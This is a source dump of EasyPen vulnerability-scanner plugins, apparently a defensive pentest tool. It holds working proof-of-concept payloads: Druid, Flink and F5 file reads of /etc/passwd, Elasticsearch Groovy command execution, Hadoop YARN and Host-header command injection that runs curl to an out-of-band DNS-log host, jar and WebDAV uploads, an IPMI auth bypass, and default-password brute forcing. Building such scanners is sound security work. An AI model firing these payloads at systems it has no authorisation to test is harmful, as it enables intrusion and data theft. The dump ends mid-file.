do_scan('easypen-test.lijiejie.com', 2375, 'HTTP', True, task_msg={}) 39 | run_plugin_test(scan) 40 | -------------------------------------------------------------------------------- /scripts/druid_info_leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | base_url = "{}://{}:{}".format(service, ip, port) 10 | endpoints = { 11 | "/druid/header.html": "Druid Monitor", 12 | "/druid/basic.json": ["com.alibaba.druid.mock.MockDriver", "com.alibaba.druid.proxy.DruidDriver"] 13 | } 14 | 15 | for endpoint in endpoints: 16 | try: 17 | url = base_url + endpoint 18 | r = await http_client(ip, port).get(url, timeout=20) 19 | pattern = endpoints.get(endpoint) 20 | if isinstance(pattern, str) and r.text.find(pattern) > 0 or \ 21 | isinstance(pattern, list) and any([p in r.text for p in pattern]): 22 | ret = { 23 | 'alert_group': 'Druid Information Disclosure', 24 | 'affects': url, 25 | 'details': u"通过druid可查看SQL地址,请求资源等,造成信息泄露\n {}\n ".format(url) 26 | } 27 | return ret 28 | except Exception as e: 29 | debug(e) 30 | 31 | 32 | if __name__ == '__main__': 33 | scan = do_scan('easypen-test.lijiejie.com', 9200, 'HTTP', True, task_msg={}) 34 | run_plugin_test(scan) 35 | -------------------------------------------------------------------------------- /scripts/druid_unauth_lfi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | target = "{}://{}:{}/druid/indexer/v1/sampler?for=connect".format(service, ip, port) 11 | data = {"type": "index", 12 | "spec": {"type": "index", 13 | "ioConfig": {"type": "index", "firehose": {"type": "http", "uris": [" file:///etc/passwd "]}}, 14 | "dataSchema": { 15 | "dataSource": "sample", "parser": { 16 | "type": "string", 17 | "parseSpec": {"format": "regex", "pattern": "(.*)", 18 | "columns": ["a"], "dimensionsSpec": {}, 19 | "timestampSpec": {"column": "no_ such_ column", 20 | "missingValue": "2010-01-01T00:00:00Z"}}} 21 | }}, 22 | "samplerConfig": {"numRows": 500, "timeoutMs": 15000}} 23 | try: 24 | 25 | r = await http_client(ip, port).post(target, json=data, timeout=20) 26 | 27 | if r.status_code == 200 and "root:x:0" in r.text: 28 | ret = { 29 | "alert_group": "Druid LFI", 30 | "affects": target, 31 | "details": u"Druid可通过indexer接口读到系统内任意文件, 可获取系统key并导致系统沦陷, 接口为: {}\n" 32 | u"需要更新到最新版本".format(target) 33 | } 34 | return ret 35 | except Exception as e: 36 | debug(e) 37 | 38 | 39 | if __name__ == '__main__': 40 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'HTTP', True, task_msg={}) 41 | run_plugin_test(scan) 42 | -------------------------------------------------------------------------------- /scripts/elastic_search_console_lfi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | url = '%s://%s:%s' % (service, ip, port) 10 | url += "/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=es_6_0" 11 | try: 12 | 13 | r = await http_client(ip, port).get(url, timeout=20) 14 | if r.status_code == 200 and 'es_6_0' in r.json(): 15 | ret = { 16 | 'alert_group': 'ES Console LFI', 17 | 'affects': url, 18 | 'details': u"通过kibana的console插件,可执行本地的任意js文件,如有条件上传js的话," 19 | u"可导致本地任意命令执行,验证方式:" + "\n\n" + url + 20 | ' \n\nFound text [es_6_0]' 21 | } 22 | return ret 23 | except json.decoder.JSONDecodeError as e: 24 | pass 25 | except Exception as e: 26 | debug(e) 27 | 28 | 29 | if __name__ == '__main__': 30 | scan = do_scan('easypen-test.lijiejie.com', 8012, 'http', True, task_msg={}) 31 | run_plugin_test(scan) 32 | -------------------------------------------------------------------------------- /scripts/elastic_search_remote_code_execution_cve_2015_1427.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | if service.lower() != 'wap-wsp' and port != 9200: 9 | return 10 | 11 | url = 'http://%s:%s' % (ip, port) 12 | payload = "/_search?source=%7B%22size%22%3A1%2C+%22script_fields%22%3A+%7B%22lupin%22%3A%7B%22lang%22%3A%22" \ 13 | "groovy%22%2C%22script%22%3A+%22java.lang.Math.class.forName(%5C%22java.lang.Runtime%5C%22)." \ 14 | "getRuntime().exec(%5C%22cat+%2Fetc%2Fpasswd%5C%22).getText()%22%7D%7D%7D" 15 | try: 16 | r = await http_client(ip, port).get(url + payload, timeout=20) 17 | if r.status_code == 200: 18 | if r.text.find('root:x:0:0') >= 0: 19 | ret = { 20 | 'alert_group': 'ES Remote Code Execution(CVE-2015-1427)', 21 | 'affects': url, 22 | 'details': u"ES低版本可通过HTTP请求在服务器内执行系统命令,导致机器被入侵\n" + 23 | "\n\n" + url + payload + ' \n\nFound text [root:x:0:0]' 24 | } 25 | return ret 26 | except Exception as e: 27 | debug(e) 28 | 29 | 30 | if __name__ == '__main__': 31 | scan = do_scan('easypen-test.lijiejie.com', 9200, 'http', True, task_msg={}) 32 | run_plugin_test(scan) 33 | -------------------------------------------------------------------------------- /scripts/elastic_search_river_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | if service.lower() != 'wap-wsp' and port != 9200: 9 | return 10 | try: 11 | url = 'http://%s:%s/_river/_search' % (ip, port) 12 | r = await http_client(ip, port).get(url, timeout=20) 13 | 14 | if r.status_code == 200 and '_river' in r.text and 'type' in r.text: 15 | ret = { 16 | 'alert_group': 'ES river unauthorized access', 17 | 'affects': 'http://%s:%s' % (ip, port), 18 | 'details': u'ES river 可未授权访问,信息泄露: %s' % url 19 | } 20 | return ret 21 | except Exception as e: 22 | debug(e) 23 | 24 | 25 | if __name__ == '__main__': 26 | scan = do_scan('easypen-test.lijiejie.com', 9200, 'http', True, task_msg={}) 27 | run_plugin_test(scan) 28 | -------------------------------------------------------------------------------- /scripts/f5_big_ip_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | path = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" 10 | target = "{}://{}:{}".format(service, ip, port) + path 11 | try: 12 | 13 | r = await http_client(ip, port).get(target, timeout=20) 14 | if "root:x:0" in r.text: 15 | ret = { 16 | 'alert_group': 'Big F5 IP RCE', 17 | 'affects': target, 18 | 'details': "{} 中F5版本过低, 存在远程命令执行漏洞, " 19 | "请按 http://blog.nsfocus.net/f5-big-ip-tmui-0705/ 修复".format(target) 20 | } 21 | return ret 22 | except Exception as e: 23 | debug(e) 24 | 25 | 26 | if __name__ == '__main__': 27 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, task_msg={}) 28 | run_plugin_test(scan) 29 | -------------------------------------------------------------------------------- /scripts/flink_lfi_cve_2020_17519.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | path = "..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd" 10 | url = "{}://{}:{}/jobmanager/logs/{}".format(service, ip, port, path) 11 | 12 | try: 13 | r = await http_client(ip, port).get(url, timeout=20) 14 | if 'root:x:0' in r.text: 15 | ret = { 16 | 'alert_group': 'Flink LFI CVE-2020-17519', 17 | 'affects': '{}'.format(url), 18 | 'details': u'通过发送请求, 可获取服务器上任意文件内容如 /etc/passwd:\n' 19 | u'可升级至 Apache Flink 1.12.0 或者 1.11.3\n{}'.format(r.text[:100]) 20 | } 21 | return ret 22 | except Exception as e: 23 | debug(e) 24 | 25 | 26 | if __name__ == '__main__': 27 | scan = do_scan('easypen-test.lijiejie.com', 21684, 'http', True, task_msg={}) 28 | run_plugin_test(scan) 29 | -------------------------------------------------------------------------------- /scripts/flink_upload_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | target = '{}://{}:{}/jars/upload'.format(service, ip, port) 10 | filename = random_str(8) + ".jar" 11 | files = {b"file": (filename, b"flink upload rce, your machine has been pwned!", "application/octet-stream")} 12 | 13 | try: 14 | r = await http_client(ip, port).post(target, files=files, timeout=20) 15 | if 'status' not in r.text: 16 | return 17 | r = r.json() 18 | if r['status'] == "success" and r['filename'].find(filename) >= 0: 19 | ret = { 20 | 'alert_group': 'Flink Upload RCE', 21 | 'affects': '{}://{}:{}'.format(service, ip, port), 22 | 'details': u'Flink web未对upload页面做限制,任何人可上传一个jar包执行,上传恶意jar包可获取系统权限\n' 23 | u'Uploaded filename: {}'.format(r['filename']) 24 | } 25 | return ret 26 | except json.decoder.JSONDecodeError as e: 27 | pass 28 | except Exception as e: 29 | debug(e) 30 | 31 | 32 | if __name__ == '__main__': 33 | scan = do_scan('easypen-test.lijiejie.com', 8081, 'http', True, task_msg={}) 34 | run_plugin_test(scan) 35 | -------------------------------------------------------------------------------- /scripts/golang_delve_debugger.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | 3 | 4 | async def do_scan(ip, port, service, is_http, task_msg): 5 | if port != 2345: 6 | return 7 | 8 | try: 9 | payload = '{"method":"RPCServer.SetApiVersion","params":[{"APIVersion":2}],"id":0}' 10 | reader, writer = await asyncio.open_connection(ip, port) 11 | writer.write(payload.encode()) 12 | await writer.drain() 13 | data = await asyncio.wait_for(reader.read(200), 5) 14 | writer.close() 15 | try: 16 | await writer.wait_closed() # application data after close notify (_ssl.c:2730) 17 | except Exception as e: 18 | pass 19 | if b'{"id":0,"result":{},"error":null}' in data: 20 | ret = { 21 | 'alert_group': 'Golang Delve Debugger', 22 | 'affects': 'socket://{}:{}'.format(ip, port), 23 | 'details': 'Delve Debugger port is publicly accessible' 24 | } 25 | return ret 26 | except Exception as e: 27 | debug(e) 28 | 29 | 30 | if __name__ == '__main__': 31 | scan = do_scan('easypen-test.lijiejie.com', 2345, 'dlv', False, task_msg={}) 32 | run_plugin_test(scan) 33 | -------------------------------------------------------------------------------- /scripts/hadoop_yarn_unauthorized_access_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if not conf.dnslog_enabled: 10 | return 11 | base_url = '{}://{}:{}'.format(service, ip, port) 12 | try: 13 | url = base_url + '/ws/v1/cluster/apps/new-application' 14 | r = await http_client(ip, port).post(url, json={}, timeout=10) 15 | if 'application-id' not in r.text: 16 | return 17 | app_id = r.json()['application-id'] 18 | 19 | domain = dns_monitor(ip, port).add_checker('hadoop-yarn-rce', alert_group='Yarn Unauthorized Access RCE') 20 | data = { 21 | 'application-id': app_id, 22 | 'application-name': 'get-shell', 23 | 'am-container-spec': { 24 | 'commands': { 25 | 'command': 'curl "http://%s"' % domain, 26 | }, 27 | }, 28 | 'application-type': 'YARN', 29 | } 30 | url = base_url + '/ws/v1/cluster/apps' 31 | await http_client(ip, port).post(url, json=data, headers={"User-Agent": GLOBAL_USER_AGENT}, timeout=20) 32 | 33 | except json.decoder.JSONDecodeError as e: 34 | pass 35 | except Exception as e: 36 | debug(e) 37 | 38 | 39 | if __name__ == '__main__': 40 | scan = do_scan('easypen-test.lijiejie.com', 8089, 'http', False, task_msg={}) 41 | run_plugin_test(scan) 42 | -------------------------------------------------------------------------------- /scripts/host_header_command_injection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | import ssl 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | if not conf.dnslog_enabled: 11 | return 12 | try: 13 | domain = dns_monitor(ip, port).add_checker('host-header-command-inject', 14 | alert_group='Host Header/URL Command Injection', 15 | details='Host Header/URL Command Injection found') 16 | 17 | base_url = '%s://%s:%s' % (service, ip, port) 18 | payload = "GET {} HTTP/1.1\r\n" + \ 19 | "Host: {}\r\n".format("$(curl http://%s)" % domain) + \ 20 | "User-Agent: {}\r\n".format(GLOBAL_USER_AGENT) + \ 21 | "Connection: close\r\n\r\n" 22 | 23 | payload = payload.format(base_url + '/?cmd=$(curl http://%s)' % domain) 24 | 25 | if service == 'https': 26 | ssl_context = ssl._create_unverified_context() 27 | reader, writer = await asyncio.open_connection(ip, port, ssl=ssl_context) 28 | else: 29 | reader, writer = await asyncio.open_connection(ip, port) 30 | 31 | writer.write(payload.encode()) 32 | await writer.drain() 33 | await asyncio.wait_for(reader.read(1000), 5) 34 | writer.close() 35 | try: 36 | await writer.wait_closed() # application data after close notify (_ssl.c:2730) 37 | except Exception as e: 38 | pass 39 | 40 | except Exception as e: 41 | debug(e) 42 | 43 | 44 | if __name__ == '__main__': 45 | scan = do_scan('easypen-test.lijiejie.com', 8090, 'http', True, task_msg={}) 46 | run_plugin_test(scan) 47 | -------------------------------------------------------------------------------- /scripts/http_put_file_via_web_dav.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = 'ifk' 4 | # Refer http://www.wooyun.org/bugs/wooyun-2010-0101152 5 | 6 | from lib.poc.dummy import * 7 | 8 | 9 | @http_scan 10 | async def do_scan(ip, port, service, is_http, task_msg): 11 | url = '%s://%s:%s' % (service, ip, port) + '/security-scan.txt' 12 | 13 | try: 14 | r = await http_client(ip, port).put(url, data="202cb962ac59075b964b07152d234b20", timeout=20) 15 | if r.status_code in [200, 201, 204]: 16 | r = await http_client(ip, port).get(url, timeout=20) 17 | if r.status_code == 200 and r.text.startswith('202cb962ac59075b964b07152d234b20'): 18 | ret = { 19 | 'alert_group': 'WebDAV PUT File', 20 | 'affects': '%s://%s:%s' % (service, ip, port), 21 | 'details': u'可直接通过PUT方法上传一个文件至服务器上, 如上传一个webshell则可获取系统权限\n' 22 | u'PUT File Vulnerability\n\n' + url 23 | } 24 | return ret 25 | except Exception as e: 26 | debug(e) 27 | 28 | 29 | if __name__ == '__main__': 30 | scan = do_scan('easypen-test.lijiejie.com', 8082, 'http', True, task_msg={}) 31 | run_plugin_test(scan) 32 | -------------------------------------------------------------------------------- /scripts/influxdb_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | """ 5 | from: https://github.com/timwhitez/Frog-Auth/blob/1c7880738ec9f51f81c44454420004e4a745aed0/pocs/pocs.py#L248 6 | """ 7 | from lib.poc.dummy import * 8 | 9 | 10 | async def do_scan(ip, port, service, is_http, task_msg): 11 | if service.lower().find("influxdb") < 0: 12 | return 13 | 14 | try: 15 | base_url = "http://{}:{}".format(ip, port) 16 | 17 | r = await http_client(ip, port).get(base_url + "/ping", timeout=10) 18 | if str(r.headers).lower().find('x-influxdb-version') > 0: 19 | 20 | r = await http_client(ip, port).get(base_url + "/query?q=show%20users", timeout=10) 21 | if 'columns' in r.text and 'user' in r.text: 22 | ret = { 23 | 'alert_group': 'Weak Password[InfluxDB]', 24 | 'affects': 'http://{}:{}'.format(ip, port), 25 | 'details': u'InfluxDb未授权访问,可泄露敏感信息。 \r\n' 26 | u'修复方案: 在配置中修改auth-enabled = true', 27 | } 28 | return ret 29 | except Exception as e: 30 | debug(e) 31 | 32 | 33 | if __name__ == '__main__': 34 | scan = do_scan('easypen-test.lijiejie.com', 8086, 35 | 'InfluxDB http admin 1.0.0', True, {"service_product": "influxdb"}) 36 | run_plugin_test(scan) 37 | -------------------------------------------------------------------------------- /scripts/ipmi_cipher0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | from lib.poc.process import check_cmd_output 6 | 7 | 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if service != 'ipmi_cipher0': 10 | return 11 | try: 12 | for user in ['root', 'ADMIN']: 13 | if await poc(ip, user): 14 | ret = { 15 | 'alert_group': 'IPMI Cipher0 Auth Bypass', 16 | 'affects': ip, 17 | 'details': 'IPMI Authentication Bypass via Cipher0, IP: %s User: %s' % (ip, user) 18 | } 19 | return ret 20 | except Exception as e: 21 | debug(e) 22 | 23 | 24 | async def poc(ip, user): 25 | try: 26 | ipmitool_path = check_cmd_output('which ipmitool', 2, shell=True) 27 | args = [ipmitool_path, '-H', ip, '-I', 'lanplus', '-C', '0', '-U', user, '-P', 'fluffy-wuffy', 'user', 'list'] 28 | output = await check_cmd_output(' '.join(args), 10) 29 | 30 | if re.findall(r'.*ADMINISTRATOR.*', output): 31 | return True 32 | except Exception as e: 33 | return False 34 | 35 | -------------------------------------------------------------------------------- /scripts/jarfile/JMXQuery-0.1.8.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/scripts/jarfile/JMXQuery-0.1.8.jar -------------------------------------------------------------------------------- /scripts/jarfile/jenkins-cve-2017-1000353.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/scripts/jarfile/jenkins-cve-2017-1000353.jar -------------------------------------------------------------------------------- /scripts/jarfile/solr_upload_rce_cve_2020_13957.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/scripts/jarfile/solr_upload_rce_cve_2020_13957.zip -------------------------------------------------------------------------------- /scripts/jenkins_plugin_manager_command_execution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | url = '%s://%s:%s/manage' % (service, ip, port) 11 | r = await http_client(ip, port).get(url, headers={"User-Agent": GLOBAL_USER_AGENT}, timeout=10) 12 | if r.status_code == 200 and 'pluginManager' in r.text: 13 | ret = { 14 | 'alert_group': 'Jenkins Command Execution', 15 | 'affects': url, 16 | 'details': u'通过Jenkins这个漏洞,可在系统上执行任意命令,造成入侵事件: ' + url 17 | } 18 | return ret 19 | except Exception as e: 20 | debug(e) 21 | 22 | if __name__ == '__main__': 23 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, {}) 24 | run_plugin_test(scan) 25 | -------------------------------------------------------------------------------- /scripts/jenkins_script_console_code_execution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | url = '%s://%s:%s/script' % (service, ip, port) 11 | r = await http_client(ip, port).get(url, headers={"User-Agent": GLOBAL_USER_AGENT}, timeout=10) 12 | if r.text.find('println(Jenkins.instance.pluginManager.plugins)') > 0: 13 | ret = { 14 | 'alert_group': 'Jenkins Script Console RCE', 15 | 'affects': url, 16 | 'details': 'Jenkins Script Console Code Execution: ' + url 17 | } 18 | return ret 19 | except Exception as e: 20 | debug(e) 21 | 22 | 23 | if __name__ == '__main__': 24 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, {}) 25 | run_plugin_test(scan) 26 | -------------------------------------------------------------------------------- /scripts/jenkins_ssrf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from lib.poc.dummy import * 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | target = ('{}://{}:{}/securityRealm/user/admin/descriptorByName/' 11 | 'org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/' 12 | 'createTokenByPassword?apiUrl=gopher://www.example.com/%23&login=admin' 13 | '&password=tsai').format(service, ip, port) 14 | try: 15 | r = await http_client(ip, port).get(target, headers={"User-Agent": GLOBAL_USER_AGENT}, timeout=20) 16 | if r.text.find('create GH token for admin - unknown protocol: gopher') > 0: 17 | ret = { 18 | 'alert_group': 'Jenkins SSRF', 19 | 'affects': '{}://{}:{}'.format(service, ip, port), 20 | 'details': target.replace('gopher', 'http') 21 | } 22 | return ret 23 | except Exception as e: 24 | debug(e) 25 | 26 | 27 | if __name__ == '__main__': 28 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, {}) 29 | run_plugin_test(scan) 30 | -------------------------------------------------------------------------------- /scripts/jmx_unauth_manager.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | import os 5 | from lib.poc.dummy import * 6 | from lib.poc.process import check_cmd_output 7 | 8 | 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | if service.lower().find("rmi") < 0 and service.lower().find("jmx") < 0: 11 | return 12 | 13 | if is_intranet(ip): 14 | return 15 | 16 | jmxquery_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "jarfile/JMXQuery-0.1.8.jar") 17 | url = "service:jmx:rmi:///jndi/rmi://{}:{}/jmxrmi".format(ip, port) 18 | try: 19 | cmd = 'java -jar "{jar}" -url {url} ' \ 20 | '-q "java_lang_{{attribute}}_{{attributeKey}}==*:*/HeapMemoryUsage"'.format( 21 | jar=jmxquery_path, url=url) 22 | p = await check_cmd_output(cmd, 10, shell=True) 23 | if p.find('java_lang_HeapMemoryUsage_committed') >= 0: 24 | ret = { 25 | 'alert_group': 'jmx exposed', 26 | 'affects': 'jmx://%s:%s' % (ip, port), 27 | 'details': u"通过jmx的调试端口,可以配置mbeans, 用于在系统上执行任意命令,该接口推荐加认证后开放\n\n" 28 | u"memory usage:{}".format(p) 29 | } 30 | return ret 31 | except Exception as e: 32 | debug(e) 33 | 34 | 35 | if __name__ == '__main__': 36 | scan = do_scan('easypen-test.lijiejie.com', 9996, 'rmi', True, {}) 37 | run_plugin_test(scan) 38 | -------------------------------------------------------------------------------- /scripts/k8s_dashboard.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | url = "{}://{}:{}".format(service, ip, port) 10 | 11 | try: 12 | r = await http_client(ip, port).get(url, headers={"User-Agent": GLOBAL_USER_AGENT}, timeout=20) 13 | word = "Kubernetes Dashboard" 14 | if r.text.find(word) >= 0: 15 | ret = { 16 | 'alert_group': 'k8s dashboard', 17 | 'affects': '%s://%s:%s' % (service, ip, port), 18 | 'details': u"Find {} in response\r\n" 19 | u"DashBoard安全性未配置好的情况下, 可能导致整个集群被控制,必须配置强密码或者token登录".format(word) 20 | } 21 | return ret 22 | except Exception as e: 23 | debug(e) 24 | 25 | 26 | if __name__ == '__main__': 27 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, {}) 28 | run_plugin_test(scan) 29 | -------------------------------------------------------------------------------- /scripts/k8s_exposed_api_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | async def list_api(ip, port, url): 8 | try: 9 | r = await http_client(ip, port).get(url + '/api/v1/namespaces', timeout=20) 10 | json_data = r.json() 11 | return [json_data['items'][i]['metadata']['selfLink'] for i in range(len(json_data['items']))] 12 | except Exception as e: 13 | pass 14 | 15 | 16 | @http_scan 17 | async def do_scan(ip, port, service, is_http, task_msg): 18 | try: 19 | base_url = "{}://{}:{}".format(service, ip, port) 20 | r = await http_client(ip, port).get(base_url, timeout=20) 21 | if r.text.find('apis/autoscaling') > 0: 22 | r = await http_client(ip, port).get(base_url + '/api/v1', timeout=20) 23 | if r.text.find('"kind": "APIResourceList"') > 0: 24 | ret = { 25 | 'alert_group': 'K8s API Server Exposed', 26 | 'affects': '%s/api/v1' % base_url, 27 | 'details': 'With %s/api/v1/, can access apis\n' 28 | '%s' % (base_url, '\n'.join(await list_api(ip, port, base_url))), 29 | } 30 | return ret 31 | except Exception as e: 32 | debug(e) 33 | 34 | 35 | if __name__ == "__main__": 36 | scan = do_scan('easypen-test.lijiejie.com', 6443, 'https', True, {}) 37 | run_plugin_test(scan) 38 | -------------------------------------------------------------------------------- /scripts/k8s_exposed_etcd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | import etcd3 6 | 7 | 8 | def list_keys(ip, port): 9 | etcd = etcd3.client(host=ip, port=port) 10 | count = 0 11 | all_keys = [] 12 | for item in etcd.get_prefix('/'): 13 | count += 1 14 | if count < 10: 15 | all_keys.append(item[1].key.decode()) 16 | 17 | return count, all_keys 18 | 19 | 20 | @http_scan 21 | async def do_scan(ip, port, service, is_http, task_msg): 22 | try: 23 | base_url = "{}://{}:{}".format(service, ip, port) 24 | target = base_url + "/v2/keys/?recursive=true" 25 | r = await http_client(ip, port).get(target, timeout=20) 26 | if r.text.find('{"action":"get"') >= 0: 27 | count, keys = list_keys(ip, port) 28 | ret = { 29 | 'alert_group': 'K8s Etcd Unauthorized Access', 30 | 'affects': '%s/v2/keys' % base_url, 31 | 'details': 'k8s etcd unauthorized access: %s \nFound %s keys, first 10 keys are:\n' 32 | '%s' % (base_url, count, "\n".join(keys)), 33 | } 34 | return ret 35 | except Exception as e: 36 | debug(e) 37 | 38 | 39 | if __name__ == "__main__": 40 | scan = do_scan('easypen-test.lijiejie.com', 2379, 'http', True, {}) 41 | run_plugin_test(scan) 42 | -------------------------------------------------------------------------------- /scripts/k8s_exposed_pods.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | url = "{}://{}:{}".format(service, ip, port) 11 | target = url + '/pods' 12 | r = await http_client(ip, port).get(target, timeout=20) 13 | if 'apiVersion' not in r.text: 14 | return 15 | json_data = r.json() 16 | keys = ['apiVersion', 'metadata', 'items'] 17 | if json_data['kind'] == "PodList" and all([i in json_data.keys() for i in keys]): 18 | pods = [json_data['items'][i]['metadata']['selfLink'] for i in range(len(json_data['items']))] 19 | 20 | ret = { 21 | 'alert_group': 'K8s Pods Unauthorized Access', 22 | 'affects': '%s/pods' % url, 23 | 'details': 'Access %s/pods, attackers can create pods, execute command or delete containers\n%s' % ( 24 | url, '\n'.join(pods)), 25 | } 26 | return ret 27 | except json.decoder.JSONDecodeError as e: 28 | pass 29 | except Exception as e: 30 | debug(e) 31 | 32 | if __name__ == "__main__": 33 | scan = do_scan('easypen-test.lijiejie.com', 10255, 'http', True, {}) 34 | run_plugin_test(scan) 35 | -------------------------------------------------------------------------------- /scripts/kong_admin_rest_api.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | 3 | 4 | @http_scan 5 | async def do_scan(ip, port, service, is_http, task_msg): 6 | try: 7 | target = "{}://{}:{}".format(service, ip, port) 8 | r = await http_client(ip, port).get(target, timeout=20) 9 | if r.status_code == 200 and "x-kong-proxy-latency" in r.headers and r.text.find('X-Kong-Upstream-Latency') > 0\ 10 | or '"tagline":"Welcome to kong"' in r.text: 11 | ret = { 12 | 'alert_group': 'Kong Gateway Admin Rest API', 13 | 'affects': '{}'.format(target), 14 | 'details': 'Kong Admin Rest API: {}'.format(target) 15 | } 16 | return ret 17 | except Exception as e: 18 | debug(e) 19 | 20 | 21 | if __name__ == '__main__': 22 | scan = do_scan('easypen-test.lijiejie.com', 443, 'https', True, {}) 23 | run_plugin_test(scan) 24 | -------------------------------------------------------------------------------- /scripts/kylin_default_password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | from itertools import product 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | usernames = ['ADMIN', 'admin'] 11 | passwords = ["KYLIN", "kylin", "123456"] 12 | 13 | path = "/kylin/api/user/authentication" 14 | 15 | try: 16 | url = "{}://{}:{}{}".format(service, ip, port, path) 17 | for auth in product(usernames, passwords): 18 | r = await http_client(ip, port).post(url, auth=auth, json={}, timeout=20) 19 | if r.status_code == 200 and r.json()["userDetails"]["username"] == auth[0]: 20 | ret = { 21 | 'alert_group': 'Weak Password[kylin]', 22 | 'affects': '{}:{}'.format(ip, port), 23 | 'details': "Kylin has default/weak password: {}/{}, " 24 | "version < 3.0.2 can execute system command".format(auth[0], auth[1]) 25 | } 26 | return ret 27 | except json.decoder.JSONDecodeError as e: 28 | pass 29 | except Exception as e: 30 | debug(e) 31 | 32 | 33 | if __name__ == "__main__": 34 | scan = do_scan('easypen-test.lijiejie.com', 47070, 'http', True, {}) 35 | run_plugin_test(scan) 36 | -------------------------------------------------------------------------------- /scripts/log4j_rce_cve_2021_44228.py: -------------------------------------------------------------------------------- 1 | 